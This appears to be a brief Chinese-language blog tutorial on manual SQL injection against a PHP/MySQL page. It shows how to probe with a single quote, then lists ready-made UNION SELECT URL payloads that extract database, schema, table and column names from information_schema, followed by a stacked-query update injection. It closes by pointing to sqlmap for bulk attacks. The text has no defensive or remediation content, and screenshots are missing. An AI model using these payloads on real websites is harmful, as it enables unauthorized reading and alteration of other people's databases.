1、确认接口是否能注入

可以直接用1’号来判断是否能注入,如果sql是拼接的,输入1’进行请求是会出错的,因为mysql语法中参数拼接中’’是要成对存在的,缺少是会报错的。
image.png

2、获取库名

http:xx.xx.xx.xx.index.php?id=1’ UNION SELECT 1,1,database() #
http:xx.xx.xx.xx.index.php?id=1’ UNION SELECT 1,1,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA #
image.png

3、获取表名

http:xx.xx.xx.xx.index.php?id=1’ UNION SELECT 1,1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES where TABLE_SCHEMA=’mysql’ #

4、获取表字段

http:xx.xx.xx.xx.index.php?id=1’ UNION SELECT 1,1,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA=’mysql’ and TABLE_NAME=’columns_priv’ #

5、注入

http:xx.xx.xx.xx.index.php?id=1’; update xxxxx #

6、高效注入

手动注入更偏向于对某一指定的页面、接口进行注入,如果要想批量高效的进行注入测试那需要用到专业的注入工具了,比如sqlmap